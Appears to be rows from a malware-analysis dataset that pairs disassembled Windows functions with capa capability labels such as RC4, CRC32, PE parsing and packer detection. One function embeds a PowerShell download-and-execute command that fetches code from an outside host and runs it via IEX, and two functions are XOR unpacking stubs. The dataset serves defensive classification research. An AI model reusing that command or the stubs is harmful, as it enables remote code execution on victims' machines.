joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401970
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00407f80
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00407f80
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4019d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0xa2e07c]
test esi, esi
jle 0x401af0
mov eax, dword [0xa2e080]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401a04
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401a87
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4019f0
mov dword [esp], ebx
call fcn.00402350
mov edi, eax
test eax, eax
je 0x401b17
mov eax, dword [0xa2e080]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402490
mov edx, dword [0xa2e080]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401af7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401a80
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401a90
add dword [0xa2e07c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0xa2e080]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401a80
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401970
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401a0e
mov eax, dword [0xa2e080]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401970
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401970
lea esi, [esi]
nop
Function at 0x401fd0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0xa2e098
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0xa2e090]
sub esp, 4
test ebx, ebx
je 0x402025
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40201e
test esi, esi
je 0x40201e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402000
mov dword [esp], 0xa2e098
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402350
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402375
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402380
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402375
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x4023c8
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x4023be
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x4023ca
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x4023b0
xor eax, eax
pop ebx
pop esi
ret
Function at 0x40e92c
Capabilities:
Reference http user-agent string
Run powershell expression

Disassembly:
sub esp, 0x1000
or dword [esp], 0
sub esp, 0x3c
mov eax, dword [0xa2e044]
mov dword [esp + 0x102c], eax
xor eax, eax
mov dword [esp + 4], 0x400
lea eax, [esp + 0x2c]
mov dword [esp], eax
call fcn.00409c88
mov dword [esp + 4], str._c_powershell__NoP__NonI__ExecutionPolicy_Bypass__Command___Resp__Invoke_WebRequest__Uri_https:__update_ledger.net_update__UseBasicParsing__UserAgent_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_102.0.0.0_Safari_537.36___Scr___System.Text.Encoding_::UTF8.GetString__Resp.Content___IEX__Scr_
lea eax, [esp + 0x2c]
mov dword [esp], eax
call fcn.0040eac8
mov dword [esp + 4], 0x400
lea eax, [esp + 0x82c]
mov dword [esp], eax
call fcn.00409c88
mov dword [esp + 4], 0x9c
mov dword [esp], 0x34
call fcn.0040a750
mov edx, eax
mov dword [esp + 8], 0x400
lea eax, [esp + 0x82c]
mov dword [esp + 4], eax
mov dword [esp], 0x768d80
call edx
sub esp, 0xc
mov dword [esp + 0x28], eax
cmp dword [esp + 0x28], 0
je 0x40e9dd
cmp dword [esp + 0x28], 0x3ff
ja 0x40e9dd
movzx eax, word [esp + 0x82c]
test ax, ax
jne 0x40e9e4
mov eax, 0
jmp 0x40ea36
mov dword [esp + 4], 0x6e
mov dword [esp], 0x39
call fcn.0040a750
mov edx, eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
lea eax, [esp + 0x2c]
mov dword [esp + 0xc], eax
lea eax, [esp + 0x82c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call edx
sub esp, 0x18
mov eax, 1
mov ecx, dword [esp + 0x102c]
sub ecx, dword [0xa2e044]
je 0x40ea4a
call fcn.004016b0
add esp, 0x103c
ret
Function at 0x415a98
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub esp, 0x2c
mov eax, dword [esp + 0x30]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x34]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x38]
mov dword [esp + 4], eax
mov eax, dword [0xa2e044]
mov dword [esp + 0x1c], eax
xor eax, eax
cmp dword [esp + 8], 0
jne 0x415acf
mov eax, 0
jmp 0x415c9f
not dword [esp + 0xc]
jmp 0x415c4d
mov eax, dword [esp + 8]
lea edx, [eax + 1]
mov dword [esp + 8], edx
movzx eax, byte [eax]
movzx edx, al
mov eax, dword [esp + 0xc]
xor eax, edx
movzx eax, al
mov edx, dword [eax*4 + 0xa2b520]
mov eax, dword [esp + 0xc]
shr eax, 8
xor eax, edx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 8]
lea edx, [eax + 1]
mov dword [esp + 8], edx
movzx eax, byte [eax]
movzx edx, al
mov eax, dword [esp + 0xc]
xor eax, edx
movzx eax, al
mov edx, dword [eax*4 + 0xa2b520]
mov eax, dword [esp + 0xc]
shr eax, 8
xor eax, edx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 8]
lea edx, [eax + 1]
mov dword [esp + 8], edx
movzx eax, byte [eax]
movzx edx, al
mov eax, dword [esp + 0xc]
xor eax, edx
movzx eax, al
mov edx, dword [eax*4 + 0xa2b520]
mov eax, dword [esp + 0xc]
shr eax, 8
xor eax, edx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 8]
lea edx, [eax + 1]
mov dword [esp + 8], edx
movzx eax, byte [eax]
movzx edx, al
mov eax, dword [esp + 0xc]
xor eax, edx
movzx eax, al
mov edx, dword [eax*4 + 0xa2b520]
mov eax, dword [esp + 0xc]
shr eax, 8
xor eax, edx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 8]
lea edx, [eax + 1]
mov dword [esp + 8], edx
movzx eax, byte [eax]
movzx edx, al
mov eax, dword [esp + 0xc]
xor eax, edx
movzx eax, al
mov edx, dword [eax*4 + 0xa2b520]
mov eax, dword [esp + 0xc]
shr eax, 8
xor eax, edx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 8]
lea edx, [eax + 1]
mov dword [esp + 8], edx
movzx eax, byte [eax]
movzx edx, al
mov eax, dword [esp + 0xc]
xor eax, edx
movzx eax, al
mov edx, dword [eax*4 + 0xa2b520]
mov eax, dword [esp + 0xc]
shr eax, 8
xor eax, edx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 8]
lea edx, [eax + 1]
mov dword [esp + 8], edx
movzx eax, byte [eax]
movzx edx, al
mov eax, dword [esp + 0xc]
xor eax, edx
movzx eax, al
mov edx, dword [eax*4 + 0xa2b520]
mov eax, dword [esp + 0xc]
shr eax, 8
xor eax, edx
mov dword [esp + 0xc], eax
mov eax, dword [esp + 8]
lea edx, [eax + 1]
mov dword [esp + 8], edx
movzx eax, byte [eax]
movzx edx, al
mov eax, dword [esp + 0xc]
xor eax, edx
movzx eax, al
mov edx, dword [eax*4 + 0xa2b520]
mov eax, dword [esp + 0xc]
shr eax, 8
xor eax, edx
mov dword [esp + 0xc], eax
sub dword [esp + 4], 8
cmp dword [esp + 4], 7
ja 0x415ad8
cmp dword [esp + 4], 0
je 0x415c99
mov eax, dword [esp + 8]
lea edx, [eax + 1]
mov dword [esp + 8], edx
movzx eax, byte [eax]
movzx edx, al
mov eax, dword [esp + 0xc]
xor eax, edx
movzx eax, al
mov edx, dword [eax*4 + 0xa2b520]
mov eax, dword [esp + 0xc]
shr eax, 8
xor eax, edx
mov dword [esp + 0xc], eax
sub dword [esp + 4], 1
cmp dword [esp + 4], 0
jne 0x415c5f
mov eax, dword [esp + 0xc]
not eax
mov ecx, dword [esp + 0x1c]
sub ecx, dword [0xa2e044]
je 0x415cb0
call fcn.004016b0
add esp, 0x2c
ret
Function at 0x417b68
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
sub esp, 0x68
mov eax, dword [esp + 0x70]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x74]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x78]
mov dword [esp + 0x14], eax
mov eax, dword [0xa2e044]
mov dword [esp + 0x5c], eax
xor eax, eax
mov word [esp + 0x2e], 0
mov dword [esp + 0x30], 1
jmp 0x417bd7
mov eax, dword [esp + 0x30]
lea edx, [eax - 1]
mov eax, dword [esp + 0x1c]
add edx, 0x7e0
movzx edx, word [eax + edx*2 + 0x18]
movzx eax, word [esp + 0x2e]
add eax, edx
add eax, eax
mov word [esp + 0x2e], ax
mov eax, dword [esp + 0x30]
movzx edx, word [esp + 0x2e]
mov word [esp + eax*2 + 0x3c], dx
add dword [esp + 0x30], 1
cmp dword [esp + 0x30], 0xf
jbe 0x417ba0
mov dword [esp + 0x34], 0
jmp 0x417c62
mov eax, dword [esp + 0x34]
lea edx, [eax*4]
mov eax, dword [esp + 0x18]
add eax, edx
movzx eax, word [eax + 2]
movzx eax, ax
mov dword [esp + 0x38], eax
cmp dword [esp + 0x38], 0
je 0x417c4a
mov eax, dword [esp + 0x38]
movzx edx, al
mov eax, dword [esp + 0x38]
movzx eax, word [esp + eax*2 + 0x3c]
lea ebx, [eax + 1]
mov ecx, dword [esp + 0x38]
mov word [esp + ecx*2 + 0x3c], bx
movzx eax, ax
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00414bdc
mov edx, dword [esp + 0x34]
lea ecx, [edx*4]
mov edx, dword [esp + 0x18]
add edx, ecx
mov word [edx], ax
mov dword [esp + 4], 1
mov eax, dword [esp + 0x34]
mov dword [esp], eax
call fcn.00402650
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x34]
cmp eax, dword [esp + 0x14]
jle 0x417be8
nop
mov eax, dword [esp + 0x5c]
sub eax, dword [0xa2e044]
je 0x417c82
call fcn.004016b0
add esp, 0x68
pop ebx
ret
Function at 0x41a088
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x3c
mov eax, dword [esp + 0x40]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x48]
mov dword [esp + 0x14], eax
mov eax, dword [0xa2e044]
mov dword [esp + 0x2c], eax
xor eax, eax
mov eax, dword [esp + 0x1c]
mov byte [eax + 0x6af91], 1
mov eax, dword [esp + 0x1c]
mov dword [eax + 0x6af64], 0x10000
mov eax, dword [esp + 0x1c]
mov dword [eax + 0x6af60], 0
mov eax, dword [esp + 0x1c]
add eax, 0x4af64
mov dword [esp + 4], 0x1fffc
mov dword [esp], eax
call fcn.00409c88
mov eax, dword [esp + 0x18]
movzx eax, word [eax*8 + 0xa2b4c2]
movzx edx, ax
mov eax, dword [esp + 0x1c]
mov dword [eax + 0x6af84], edx
mov eax, dword [esp + 0x18]
movzx eax, word [eax*8 + 0xa2b4c0]
movzx edx, ax
mov eax, dword [esp + 0x1c]
mov dword [eax + 0x6af88], edx
mov eax, dword [esp + 0x18]
movzx eax, word [eax*8 + 0xa2b4c4]
movzx edx, ax
mov eax, dword [esp + 0x1c]
mov dword [eax + 0x6af8c], edx
mov eax, dword [esp + 0x18]
movzx eax, word [eax*8 + 0xa2b4c6]
movzx edx, ax
mov eax, dword [esp + 0x1c]
mov dword [eax + 0x6af80], edx
cmp dword [esp + 0x18], 2
ja 0x41a16e
mov eax, dword [esp + 0x14]
movzx eax, word [eax]
or eax, 4
mov edx, eax
mov eax, dword [esp + 0x14]
mov word [eax], dx
jmp 0x41a188
cmp dword [esp + 0x18], 7
jbe 0x41a188
mov eax, dword [esp + 0x14]
movzx eax, word [eax]
or eax, 2
mov edx, eax
mov eax, dword [esp + 0x14]
mov word [eax], dx
mov eax, dword [esp + 0x1c]
lea edx, [eax + 0x1af64]
mov eax, dword [esp + 0x1c]
mov eax, dword [eax]
mov dword [esp + 8], 0x10000
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0041b304
mov edx, dword [esp + 0x1c]
mov dword [edx + 0x6af7c], eax
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 0x6af7c]
test eax, eax
je 0x41a271
mov eax, dword [esp + 0x1c]
mov byte [eax + 0x6af90], 0
mov eax, dword [esp + 0x1c]
mov dword [eax + 0x6af68], 0
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 0x6af68]
mov edx, eax
mov eax, dword [esp + 0x1c]
mov dword [eax + 0x6af74], edx
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 0x6af7c]
cmp eax, 0x105
ja 0x41a214
mov eax, dword [esp + 0x1c]
mov dword [esp], eax
call fcn.00416ea0
mov eax, dword [esp + 0x1c]
mov dword [eax + 0x6af6c], 0
mov dword [esp + 0x28], 0
jmp 0x41a268
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 0x6af6c]
shl eax, 5
mov ecx, eax
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x28]
add eax, edx
add eax, 0x1af64
movzx eax, byte [eax]
movzx eax, al
xor eax, ecx
and eax, 0x7fff
mov edx, eax
mov eax, dword [esp + 0x1c]
mov dword [eax + 0x6af6c], edx
add dword [esp + 0x28], 1
cmp dword [esp + 0x28], 1
jbe 0x41a22c
jmp 0x41a272
nop
mov eax, dword [esp + 0x2c]
sub eax, dword [0xa2e044]
je 0x41a283
call fcn.004016b0
add esp, 0x3c
ret
Function at 0x41b020
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x4c
mov eax, dword [esp + 0x50]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x54]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x58]
mov dword [esp + 0x14], eax
mov eax, dword [0xa2e044]
mov dword [esp + 0x3c], eax
xor eax, eax
mov eax, dword [esp + 0x1c]
mov eax, dword [eax]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 4]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x1c]
add eax, 8
mov dword [esp + 0x30], eax
mov dword [esp + 0x24], 0
jmp 0x41b145
mov eax, dword [esp + 0x28]
add eax, 1
movzx eax, al
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
lea edx, [eax*4]
mov eax, dword [esp + 0x30]
add eax, edx
mov eax, dword [eax]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x2c]
mov edx, eax
mov eax, dword [esp + 0x34]
add eax, edx
movzx eax, al
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x2c]
lea edx, [eax*4]
mov eax, dword [esp + 0x30]
add eax, edx
mov eax, dword [eax]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x28]
lea edx, [eax*4]
mov eax, dword [esp + 0x30]
add edx, eax
mov eax, dword [esp + 0x38]
mov dword [edx], eax
mov eax, dword [esp + 0x2c]
lea edx, [eax*4]
mov eax, dword [esp + 0x30]
add edx, eax
mov eax, dword [esp + 0x34]
mov dword [edx], eax
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x18]
add eax, edx
movzx eax, byte [eax]
mov ecx, eax
mov eax, dword [esp + 0x34]
mov edx, eax
mov eax, dword [esp + 0x38]
add eax, edx
movzx eax, al
lea edx, [eax*4]
mov eax, dword [esp + 0x30]
add eax, edx
mov eax, dword [eax]
xor ecx, eax
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x18]
add eax, edx
mov edx, ecx
mov byte [eax], dl
mov dword [esp + 4], 1
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call fcn.00402650
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
cmp eax, dword [esp + 0x14]
jl 0x41b073
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x28]
mov dword [eax], edx
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x2c]
mov dword [eax + 4], edx
nop
mov eax, dword [esp + 0x3c]
sub eax, dword [0xa2e044]
je 0x41b17a
call fcn.004016b0
add esp, 0x4c
ret
Function at 0x41c66c
Capabilities:
Hash data with crc32

Disassembly:
sub esp, 0x2c
mov edx, dword [esp + 0x34]
mov eax, dword [esp + 0x30]
mov dword [esp + 0xc], eax
mov eax, edx
mov byte [esp + 8], al
mov eax, dword [0xa2e044]
mov dword [esp + 0x1c], eax
xor eax, eax
mov eax, dword [esp + 0xc]
mov eax, dword [eax]
mov edx, eax
movsx eax, byte [esp + 8]
xor eax, edx
movzx eax, al
mov edx, dword [eax*4 + 0xa2b520]
mov eax, dword [esp + 0xc]
mov eax, dword [eax]
shr eax, 8
xor edx, eax
mov eax, dword [esp + 0xc]
mov dword [eax], edx
mov eax, dword [esp + 0xc]
add eax, 4
mov ecx, dword [eax]
mov eax, dword [esp + 0xc]
mov eax, dword [eax]
movzx edx, al
mov eax, dword [esp + 0xc]
add eax, 4
add edx, ecx
mov dword [eax], edx
mov eax, dword [esp + 0xc]
add eax, 4
mov eax, dword [eax]
imul edx, eax, 0x8088405
mov eax, dword [esp + 0xc]
add eax, 4
add edx, 1
mov dword [eax], edx
mov eax, dword [esp + 0xc]
add eax, 8
mov edx, dword [eax]
mov eax, dword [esp + 0xc]
add eax, 4
mov eax, dword [eax]
shr eax, 0x18
xor eax, edx
movzx eax, al
mov edx, dword [eax*4 + 0xa2b520]
mov eax, dword [esp + 0xc]
add eax, 8
mov eax, dword [eax]
shr eax, 8
mov ecx, eax
mov eax, dword [esp + 0xc]
add eax, 8
xor edx, ecx
mov dword [eax], edx
nop
mov eax, dword [esp + 0x1c]
sub eax, dword [0xa2e044]
je 0x41c73a
call fcn.004016b0
add esp, 0x2c
ret
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..rdata
nop
mov ebx, 0x40de38
nop
mov ecx, 0x710a2318
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x57923e1f
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4016e0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov byte [eax + 4], 0
mov ecx, dword [ebp + 8]
push ecx
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 0
je 0x40171d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40171d
mov ecx, dword [ebp - 4]
mov byte [ecx + 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4

Function at 0x401a90
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x100
push 0x40a698
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x100
jb 0x401afd
mov eax, dword [ebp - 4]
add eax, 1
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x401ae6
mov eax, 0x407318
jmp 0x401b0f
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov eax, dword [ebp - 8]
jmp 0x401b0f
cmp dword [ebp - 4], 0
jne 0x401b0a
mov eax, 0x40731c
jmp 0x401b0f
mov eax, 0x40a698
mov esp, ebp
pop ebp
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219